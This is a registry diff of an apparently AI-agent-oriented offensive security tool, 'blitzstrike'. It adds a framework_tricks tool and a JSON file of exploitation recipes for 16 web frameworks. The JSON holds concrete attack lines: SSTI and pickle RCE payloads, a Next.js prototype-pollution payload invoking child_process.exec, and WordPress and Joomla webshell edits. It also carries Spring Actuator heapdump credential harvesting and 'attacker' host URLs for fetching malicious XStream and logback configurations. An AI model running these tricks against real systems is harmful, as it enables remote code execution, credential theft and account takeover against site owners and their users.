blitzstrike 1.1.0 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,23 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [1.1.1] — 2026-09-13
9
+
10
+ ### Added — HackTricks full enrichment (52 classes + 16 frameworks)
11
+
12
+ - `techniques.json` expanded 25 → 52 vulnerability classes (added crlf, ldap,
13
+ xpath, xslt, ssi, xssi, email injection, formula/CSV injection, orm, rsql,
14
+ json/xml/yaml, unicode, dangling markup, account takeover, 2FA bypass,
15
+ rate-limit bypass, password reset, captcha bypass, registration, payment
16
+ bypass, timing attacks, uuid insecurities, reverse tabnabbing, iframe traps,
17
+ cookie hacking, postMessage vulnerabilities, methodology).
18
+ - New `framework_tricks` MCP tool + `intelligence/framework_tricks.json`: 16
19
+ frameworks (Laravel, Django, Flask, Node/Express, Next.js, Vue, Angular,
20
+ WordPress, Joomla, Spring, JSP, Python, Go, Ruby/Rails, Perl, GraphQL) with
21
+ detection signals, known vulns/CVEs, and concrete attack tricks.
22
+ - Synthesized in own words from public technique references (paraphrased, not
23
+ verbatim — HackTricks has no open license).
24
+
8
25
  ## [1.1.0] — 2026-09-13
9
26
 
10
27
  ### Added — detailed technique base (25 vulnerability classes)
package/dist/index.js CHANGED
@@ -31782,6 +31782,19 @@ function techniqueLookup(cls) {
31782
31782
  return { found: true, ...c };
31783
31783
  return { found: false, cls, suggestions: data.classes.map((x) => String(x.id)) };
31784
31784
  }
31785
+ function frameworkTricks(framework) {
31786
+ const data = loadJson("framework_tricks");
31787
+ if (!data)
31788
+ return { found: false, error: "framework_tricks.json not found" };
31789
+ if (!framework) {
31790
+ return { found: true, frameworks: data.frameworks.map((f) => ({ framework: f.framework })) };
31791
+ }
31792
+ const q = framework.toLowerCase();
31793
+ const f = data.frameworks.find((x) => String(x.framework).toLowerCase().includes(q));
31794
+ if (f)
31795
+ return { found: true, ...f };
31796
+ return { found: false, framework, suggestions: data.frameworks.map((x) => String(x.framework)) };
31797
+ }
31785
31798
 
31786
31799
  // src/active.ts
31787
31800
  var TIMEOUT_MS2 = 20000;
@@ -54277,13 +54290,22 @@ ${statusLine}` : statusLine },
54277
54290
  });
54278
54291
  server.registerTool("technique_lookup", {
54279
54292
  title: "Detailed bug-hunting technique base",
54280
- description: "INTEL: return the DETAILED methodology + tricks for one vulnerability class (ssrf, request_smuggling, cache_poisoning, race_condition, ssti, deserialization, prototype_pollution, mass_assignment, sql_injection, nosql_injection, xss, cors, csrf, jwt, oauth, host_header, open_redirect, subdomain_takeover, idor, graphql, websocket, file_upload, path_traversal_lfi, command_injection, xxe). Each returns summary, objectives, how_to_test steps, concrete techniques, and verify (marker + negative control). Load before testing a class to hunt it in detail.",
54293
+ description: "INTEL: return the DETAILED methodology + tricks for one vulnerability class (52 classes: ssrf, request smuggling, cache poisoning, race conditions, ssti, deserialization, prototype pollution, mass assignment, sql/nosql injection, xss, cors, csrf, jwt, oauth, host header, open redirect, subdomain takeover, idor, graphql, websocket, file upload, path traversal/LFI, command injection, xxe, crlf, ldap, xpath, xslt, ssi, xssi, email, formula/CSV, orm, rsql, unicode, dangling markup, account takeover, 2fa bypass, rate-limit, password reset, captcha, registration, payment bypass, timing, uuid, reverse tabnabbing, iframe traps, cookies, postMessage, ...). Each returns summary, objectives, how_to_test steps, concrete techniques, and verify (marker + negative control). Load before testing a class to hunt it in detail.",
54281
54294
  inputSchema: {
54282
54295
  cls: string2().optional().describe("Optional class id or name (e.g. 'ssrf', 'request smuggling', 'ssti').")
54283
54296
  }
54284
54297
  }, async ({ cls }) => {
54285
54298
  return { content: [{ type: "text", text: JSON.stringify(techniqueLookup(cls)) }] };
54286
54299
  });
54300
+ server.registerTool("framework_tricks", {
54301
+ title: "Framework-specific exploitation tricks",
54302
+ description: "INTEL: return framework-specific exploitation knowledge for a framework (Laravel, Django, Flask, Node/Express, Next.js, Vue, Angular, WordPress, Joomla, Spring, JSP, Python, Go, Ruby/Rails, Perl, GraphQL) — detection signals, known vulns/CVEs, and concrete attack tricks. Use after detect_framework to hunt that framework's specific weaknesses.",
54303
+ inputSchema: {
54304
+ framework: string2().optional().describe("Optional framework name (e.g. 'laravel', 'django', 'wordpress').")
54305
+ }
54306
+ }, async ({ framework }) => {
54307
+ return { content: [{ type: "text", text: JSON.stringify(frameworkTricks(framework)) }] };
54308
+ });
54287
54309
  server.registerTool("engagement_start", {
54288
54310
  title: "Start an engagement",
54289
54311
  description: "ORCHESTRATION: open an engagement and track its state. Call at the start of a full audit so subsequent engagement_phase / engagement_track / engagement_status calls have a state to update. The LLM is the brain; this is the deterministic bookkeeping hand.",
@@ -0,0 +1,338 @@
1
+ {
2
+ "_comment": "Framework-specific exploitation tricks (signals to fingerprint, known vulns/CVEs, and concrete attack tricks). Synthesized from general security knowledge.",
3
+ "frameworks": [
4
+ {
5
+ "framework": "Laravel",
6
+ "signals": [
7
+ "XSRF-TOKEN + laravel_session cookies",
8
+ "_ignition/health-check endpoint (Ignition debug tool)",
9
+ "_debugbar / telescope / horizon endpoints + Blade error pages"
10
+ ],
11
+ "vulns": [
12
+ "APP_KEY leak → AES-256-CBC/GCM cookie forgery → PHP deserialization RCE (CVE-2018-15133; Invoice Ninja CVE-2024-55555, Snipe-IT CVE-2024-48987, Crater CVE-2024-55556)",
13
+ "HTTP argv/env override → auth bypass (CVE-2024-52301)",
14
+ "Wildcard file validation bypass on files.* (CVE-2025-27515)",
15
+ "Debug-mode Whoops reflected XSS (CVE-2024-13918/13919)",
16
+ "Unsafe SQL functions (DB::raw / orderByRaw style concat)"
17
+ ],
18
+ "tricks": [
19
+ "Offline APP_KEY brute-force of leaked XSRF-TOKEN/laravel_session ciphertexts (Synacktiv: ~3.99% crack rate, top-10 default keys in commercial templates)",
20
+ "phpggc Laravel/RCE13|RCE9|RCE15 + laravel_crypto_killer.py encrypt → deliver to any decrypt() sink (route/cookie/session)",
21
+ "?--env=preprod / ?--env=local query override when register_argc_argv=On",
22
+ "Multipart field files[0][__asterisk__payload]=@shell.php to skip validator but still write UploadedFile",
23
+ "LFI/debug page → /../.env to recover APP_KEY and DB creds"
24
+ ]
25
+ },
26
+ {
27
+ "framework": "Django",
28
+ "signals": [
29
+ "sessionid + csrftoken cookies",
30
+ "/admin/ login + /static/admin/css/base.css hashes",
31
+ "debug stack traces / X-Frame-Options error pages for version fingerprinting"
32
+ ],
33
+ "vulns": [
34
+ "Cache pickle deserialization → RCE (FileBasedCache / Redis / DB backends; HackerOne #1415436)",
35
+ "Host header / password-reset poisoning via request.META['HTTP_HOST'] bypassing ALLOWED_HOSTS",
36
+ "SSTI in Django Template Language (DTL is Turing-complete)",
37
+ "PickleSerializer + signed_cookies session backend → SECRET_KEY leak = RCE",
38
+ "SQLi in QuerySet values/alias/JSONField key names (CVE-2024-42005, CVE-2025-57833); log injection (CVE-2025-48432)"
39
+ ],
40
+ "tricks": [
41
+ "{{7*7}} → 49 SSTI probe; {{''.__class__.mro()[1].__subclasses__()}} walk to subprocess.Popen",
42
+ "{{ users.values }} QuerySet dump bypasses __str__ filtering even when RCE is blocked",
43
+ "badsecrets against sessionid to test known/weak SECRET_KEY",
44
+ "Drop malicious pickle at /var/tmp/django_cache/<key> (os.system __reduce__)",
45
+ "signing.dumps(RCE(), key=SECRET_KEY, serializer=PickleSerializer) → sessionid=RCE cookie"
46
+ ]
47
+ },
48
+ {
49
+ "framework": "Flask",
50
+ "signals": [
51
+ "session cookie (URL-safe base64, signed not encrypted)",
52
+ "Werkzeug server headers / debugger PIN page",
53
+ "Jinja2 template error pages"
54
+ ],
55
+ "vulns": [
56
+ "SSTI via Jinja2 when user input reaches render_template_string/format",
57
+ "Session cookie forgery → privilege escalation when secret key is leaked/weak",
58
+ "Unsafe proxy URL concatenation → SSRF via '@' host confusion in request path"
59
+ ],
60
+ "tricks": [
61
+ "flask-unsign --decode / --wordlist rockyou --unsign / --sign {'logged_in':True}",
62
+ "GET @/ or @attacker.example request-target to reach Flask routes and poison concatenated URLs",
63
+ "ripsession to automate cookie forgery across a wordlist",
64
+ "sqlmap --eval to sign SQLi payloads with a known Flask secret"
65
+ ]
66
+ },
67
+ {
68
+ "framework": "Node.js / Express",
69
+ "signals": [
70
+ "X-Powered-By: Express",
71
+ "connect.sid, s:<sig> and j:<json> cookies",
72
+ "_method=PUT/DELETE hidden fields + body-parser error pages"
73
+ ],
74
+ "vulns": [
75
+ "qs / extended urlencoded parser → prototype pollution, mass assignment, NoSQLi via nested keys",
76
+ "trust proxy misconfig → X-Forwarded-* header spoofing (host/proto/ip)",
77
+ "Session fixation (no req.session.regenerate() after login)",
78
+ "Method-override smuggling of PUT/PATCH/DELETE through POST-only edges",
79
+ "Signed-cookie secret brute-force / rotation-key weakness"
80
+ ],
81
+ "tricks": [
82
+ "?user[role]=admin&filters[name][$ne]=x (qs nesting, __proto__/constructor[prototype] payloads)",
83
+ "X-Forwarded-Host/Proto/For spoofing for reset-poisoning, IP allowlist and rate-limit bypass",
84
+ "X-HTTP-Method-Override: DELETE or POST /x?_method=PUT to reach hidden routes/CSRF",
85
+ "cookie-monster -c <cookie> -w wordlist to brute cookie secrets then re-sign"
86
+ ]
87
+ },
88
+ {
89
+ "framework": "Next.js",
90
+ "signals": [
91
+ "/_next/static/<buildId>/ assets and buildId in HTML",
92
+ "Next-Action header on POST / (Server Actions)",
93
+ "text/x-component Flight responses + x-nextjs-prerender"
94
+ ],
95
+ "vulns": [
96
+ "Middleware auth bypass via x-middleware-subrequest header (CVE-2025-29927)",
97
+ "RSC Flight deserialization → prototype pollution → RCE (CVE-2025-55182 / React2Shell, react-server-dom-webpack 19.0.0–19.2.0)",
98
+ "RSC cache poisoning / content-type confusion → stored XSS (CVE-2025-49005, Re:CACHE)",
99
+ "RSC DoS + Server Function source disclosure (CVE-2025-55183/55184/67779)",
100
+ "Client-side path traversal (CSPT) and dangerouslySetInnerHTML XSS"
101
+ ],
102
+ "tricks": [
103
+ "x-middleware-subrequest: middleware:middleware:... to flip 307→200 on protected routes",
104
+ "Flight payload {\"then\":\"$1:__proto__:then\", _formData.get:\"$1:constructor:constructor\", _prefix: require('child_process').exec(...)}",
105
+ "react2shell-scanner --safe-check (500 + E{\"digest\"} = vulnerable oracle)",
106
+ "Hash↔function mapping: regex createServerReference(...) in chunks + source maps, swap Next-Action values",
107
+ "Accept/Rsc: 1 header to force RSC payload; _buildManifest.js for route enumeration"
108
+ ]
109
+ },
110
+ {
111
+ "framework": "Vue.js",
112
+ "signals": [
113
+ "v-html directive / Vue runtime in JS bundles",
114
+ "__VUE__ global + Vue devtools",
115
+ "vue-template-compiler / SSR builds"
116
+ ],
117
+ "vulns": [
118
+ "v-html raw HTML XSS (img onerror)",
119
+ "v-bind:href/src javascript: URL injection",
120
+ "SSR untrusted template → RCE (vue-template-compiler CVEs)",
121
+ "Prototype pollution in plugins (vue-i18n deep-merge GHSA-p2ph-7g93-hw3m)",
122
+ "Open redirect via unchecked route query next param"
123
+ ],
124
+ "tricks": [
125
+ "<img src=x onerror=alert(1)> through v-html",
126
+ "javascript:alert(1) via v-bind:href user input",
127
+ "createSSRApp({ template: userProvidedHtml }) = server-side code exec",
128
+ "JSON.parse('{\"__proto__\":{\"polluted\":true}}') into deepmerge helper",
129
+ "window.location.assign(this.$route.query.next) open redirect"
130
+ ]
131
+ },
132
+ {
133
+ "framework": "Angular",
134
+ "signals": [
135
+ "_ngcontent-* attributes on DOM",
136
+ "[id].main.js compiled bundles + //# sourceMappingURL",
137
+ "ng-version / angular.json sourceMap config"
138
+ ],
139
+ "vulns": [
140
+ "bypassSecurityTrustHtml/Url/Style misuse → sanitizer bypass XSS",
141
+ "Runtime template injection {{constructor.constructor('alert(1)')()}}",
142
+ "DOM XSS via ElementRef.nativeElement, Renderer2.setAttribute/setProperty, jQuery html()",
143
+ "Open redirect via window.location / document.location sinks"
144
+ ],
145
+ "tricks": [
146
+ "bypassSecurityTrustHtml('<svg onclick=alert(1)>') — script tags inert via innerHTML but on* attributes fire",
147
+ "{{constructor.constructor('alert(1)')()}} when attacker input is compiled as template (not plain interpolation)",
148
+ "renderer2.setAttribute(el,'onerror','alert(1)') on <img>",
149
+ "document.write/createElement + appendChild script sinks",
150
+ "Source-map disclosure for source reconstruction when sourceMap enabled"
151
+ ]
152
+ },
153
+ {
154
+ "framework": "WordPress",
155
+ "signals": [
156
+ "wp-content/wp-includes paths, meta generator tag",
157
+ "/wp-json/wp/v2/users + xmlrpc.php",
158
+ "/wp-login.php, /wp-admin/admin-ajax.php, license.txt/readme.html version"
159
+ ],
160
+ "vulns": [
161
+ "Unauth plugin/theme SQLi/LFI/file-deletion via wp_ajax_nopriv_ handlers (WP Job Portal, Depicter, Kubio, Litho)",
162
+ "Trusted-header REST impersonation → admin creation (WooCommerce Payments ≤5.6.1, X-Wcpay-Platform-Checkout-User: 1)",
163
+ "Nonce-as-authorization misuse → arbitrary plugin install/activate RCE (FunnelKit, Motors)",
164
+ "XML-RPC credential brute-force + pingback SSRF/DDoS + 2FA bypass",
165
+ "Pre-auth login XSS → DOM clobbering → RCE chain (XSS2Shell, core <7.0.3); MU-plugin stealth persistence"
166
+ ],
167
+ "tricks": [
168
+ "?author=1 user-ID enumeration + wp-json/wp/v2/users dump",
169
+ "system.multicall for multi-cred brute-force; wp.uploadFile for RCE once creds obtained",
170
+ "X-Wcpay-Platform-Checkout-User: 1 on POST /wp-json/wp/v2/users with roles:[administrator]",
171
+ "admin-ajax.php action=<nopriv> fontfamily=../../../wp-config.php (arbitrary delete/LFI/SQLi)",
172
+ "Theme Editor → edit 404.php with system($_GET['cmd']) → curl /wp-content/themes/<theme>/404.php?cmd=id"
173
+ ]
174
+ },
175
+ {
176
+ "framework": "Joomla",
177
+ "signals": [
178
+ "<meta name=generator content=Joomla>",
179
+ "/administrator/manifests/files/joomla.xml + /language/en-GB/en-GB.xml version files",
180
+ "README.txt + robots.txt markers"
181
+ ],
182
+ "vulns": [
183
+ "Unauth API info disclosure (CVE-2023-23752, Joomla 4.0.0–4.2.7)",
184
+ "Admin template-edit → PHP injection → RCE",
185
+ "XSS → RCE / privilege-escalation chains (JoomSploit)"
186
+ ],
187
+ "tricks": [
188
+ "/api/v1/users?public=true and /api/index.php/v1/config/application?public=true (CVE-2023-23752)",
189
+ "Templates → Customise → error.php → system($_GET['cmd']) → /templates/protostar/error.php?cmd=id",
190
+ "droopescan scan joomla --url <target>",
191
+ "joomla-brute.py default creds (admin:admin)"
192
+ ]
193
+ },
194
+ {
195
+ "framework": "Spring Actuators",
196
+ "signals": [
197
+ "/actuator/* base path (Spring Boot 2.x) or root /health,/env (1.x)",
198
+ "/health, /info, /env, /beans, /mappings, /heapdump, /loggers",
199
+ "Spring Boot version banners / error pages"
200
+ ],
201
+ "vulns": [
202
+ "Exposed actuator endpoints → sensitive data + env/config disclosure",
203
+ "/jolokia reloadByURL → logback XXE/RCE via external XML config",
204
+ "/env property modification → XStream deserialization RCE (Eureka serviceURL) + H2 RCE chain",
205
+ "/heapdump JVM snapshot secrets (DB creds, tokens, Basic-Auth)",
206
+ "/loggers level escalation to capture auth credentials"
207
+ ],
208
+ "tricks": [
209
+ "wget /actuator/heapdump && strings | grep 'Authorization: Basic' then base64 -d; JDumpSpider/VisualVM OQL for DataSourceProperties",
210
+ "POST /env eureka.client.serviceUrl.defaultZone=http://attacker/xstream",
211
+ "/jolokia/exec/.../reloadByURL/http:!/!/attacker/logback.xml",
212
+ "POST /actuator/loggers/org.springframework.security {configuredLevel:TRACE} then harvest /actuator/logfile",
213
+ "GET ;@evil.com/url matrix-parameter pathname confusion → SSRF"
214
+ ]
215
+ },
216
+ {
217
+ "framework": "JSP",
218
+ "signals": [
219
+ "*.jsp / *.do extensions",
220
+ "JSESSIONID cookie + Tomcat error pages",
221
+ "JSTL/EL ${} expression usage"
222
+ ],
223
+ "vulns": [
224
+ "getContextPath() link manipulation → XSS via protocol-relative URL injection",
225
+ "EL / JSTL expression injection in templates",
226
+ "Related: Struts2 OGNL / Spring EL RCE families"
227
+ ],
228
+ "tricks": [
229
+ "/&sol;attacker.example/xss.js&num;/..;/..;/contextPathExample/test.jsp → //attacker.example/xss.js script src XSS",
230
+ "Prepend request.getContextPath() into src/href/action attributes without HTML-attribute encoding",
231
+ "URL-encode then HTML-attribute-encode dynamic values; fixed trusted base to avoid request-controlled origin"
232
+ ]
233
+ },
234
+ {
235
+ "framework": "Python",
236
+ "signals": [
237
+ "eval()/exec()/pickle.loads sinks",
238
+ "SSTI in Jinja2/DTL render paths",
239
+ "pickle/yaml deserialization endpoints"
240
+ ],
241
+ "vulns": [
242
+ "eval/exec expression injection",
243
+ "pickle deserialization → __reduce__ RCE",
244
+ "Python sandbox escapes (load_name/load_const OOB, js2py CVE-2024-28397)",
245
+ "ReportLab/xhtml2pdf triple-bracket [[[...]]] rl_safe_eval RCE (CVE-2023-33733)",
246
+ "Class pollution (Python's prototype pollution)"
247
+ ],
248
+ "tricks": [
249
+ "\"+str(True)+\" probe to confirm expression evaluation vs reflection",
250
+ "pickle class RCE: __reduce__ → os.system",
251
+ "[[[ expression ]]] injection into PDF generation flows (xhtml2pdf)",
252
+ "Subclass-walk object graph for sandbox escape gadgets"
253
+ ]
254
+ },
255
+ {
256
+ "framework": "Go (net/http)",
257
+ "signals": [
258
+ "Go net/http default server headers/behaviour",
259
+ "html/template vs text/template rendering",
260
+ ".go route handlers / ServeMux patterns"
261
+ ],
262
+ "vulns": [
263
+ "ServeMux CONNECT method skips path canonicalization → path traversal/authz bypass",
264
+ "text/template (not html/template) SSTI/XSS",
265
+ "SSRF via proxied request targets",
266
+ "Race-condition / TOCTOU logic bugs"
267
+ ],
268
+ "tricks": [
269
+ "curl --path-as-is -X CONNECT http://target/../flag to bypass cleanPath redirect on ordinary methods",
270
+ "Compare CONNECT vs GET/POST response to detect auth-boundary traversal",
271
+ "Inject {{.}} / template actions into text/template sinks"
272
+ ]
273
+ },
274
+ {
275
+ "framework": "Ruby / Rails",
276
+ "signals": [
277
+ "_session_id cookie (signed+encrypted, secret_key_base derived)",
278
+ "Rack/Sinatra/Rails stack traces + Rack headers",
279
+ "config/master.key, credentials.yml.enc, Gemfile.lock"
280
+ ],
281
+ "vulns": [
282
+ "Arbitrary file upload to config/initializers/ → boot-time RCE (CVE-2024-46986 Camaleon)",
283
+ "Active Storage image transformation command injection (CVE-2025-24293, mini_magick)",
284
+ "Rack::Static LFI / path traversal (CVE-2025-27610)",
285
+ "ReDoS family: Rack Content-Type (CVE-2024-25126), REXML (CVE-2024-49761), CGI cookie (CVE-2025-27219/27220)",
286
+ "Nested mass assignment via permit! on sub-object; secret_key_base → cookie/signed_id forgery; log injection → RCE via load + Pathname.cleanpath"
287
+ ],
288
+ "tricks": [
289
+ "Upload .rb into config/initializers/ or eager-load paths to get boot-time code exec",
290
+ "Forged cookie: ActiveSupport::MessageEncryptor aes-256-gcm + KeyGenerator(secret_key_base) decrypt→modify role→re-sign",
291
+ "Forge signed_id/sgid (find_signed!, GlobalID::Locator.locate_signed) for IDOR→authz bypass",
292
+ "CVE-2025-24293: image_tag blob.variant(params[:t]=>params[:v]) fuzz transform names to reach MiniMagick exec",
293
+ "Log poison: %0A][0]=1;system(\"id\")#://../../../../logs/error.log then load cleanpath-resolved log"
294
+ ]
295
+ },
296
+ {
297
+ "framework": "Perl",
298
+ "signals": [
299
+ ".pl/.pm endpoints + mod_perl handler registration in httpd.conf",
300
+ "CGI.pm / backticks / qx// usage",
301
+ "Dell/EMC-like appliance Perl modules"
302
+ ],
303
+ "vulns": [
304
+ "Command injection via backticks/qx//, one-arg system STRING, two-arg open 'cmd |'",
305
+ "Pre-auth RCE via raw $r->uri() concatenated into shell command (Dell UnityVSA CVE-2025-36604)",
306
+ "IPC::Open3 single-string shell handling + explicit /bin/sh -c sinks"
307
+ ],
308
+ "tricks": [
309
+ "GET /ui/health;id with separators ; && | $() %0A; end-string payloads like ;id#",
310
+ "Unauthenticated login-redirect branch (type=='login') to reach getCASURL backtick sink",
311
+ "Grep for qx//, open\\s*\\(|, system\\(\" and trace sink→$r entry for pre-auth reachability",
312
+ "Patch-diff modules for inconsistent quoting between branches"
313
+ ]
314
+ },
315
+ {
316
+ "framework": "GraphQL",
317
+ "signals": [
318
+ "/graphql, /graphiql, /graphql/console, /api/graphql paths",
319
+ "query{__typename} → {\"data\":{\"__typename\":\"Query\"}}",
320
+ "Introspection __schema responses; engine fingerprints (graphw00f)"
321
+ ],
322
+ "vulns": [
323
+ "Introspection schema disclosure + broken object-level authorization (BOLA) via query variables",
324
+ "DoS via alias/directive/field duplication, array batching, @defer/@stream amplification",
325
+ "CSRF via form-urlencoded/GET + cross-site WebSocket hijacking",
326
+ "Multipart Upload scalar abuse (CSRF, variable reuse, orphan file parts)",
327
+ "Engine CVEs: async-graphql directive overload (CVE-2024-47614), graphql-java ENF depth bypass (CVE-2024-40094), WPGraphQL SSRF→RCE (CVE-2023-23684), Apollo Gateway planner DoS (CVE-2025-32031)"
328
+ ],
329
+ "tricks": [
330
+ "Alias-based brute-force / rate-limit bypass: isValidDiscount1..N in one request; batching 1000s of credential pairs",
331
+ "Bypass introspection filters with newline after __schema, or switch GET/form-urlencoded/WebSocket",
332
+ "APQ is not a safelist: send unknown sha256Hash → on PersistedQueryNotFound resend with full query string",
333
+ "updateProfile(username:INJECT) chained/unauthorized mutations; forged schema via error-based clairvoyance/InQL bruteforcer",
334
+ "@include(if:true) x N and recursive fragments ...A/...B to exhaust planner/parser"
335
+ ]
336
+ }
337
+ ]
338
+ }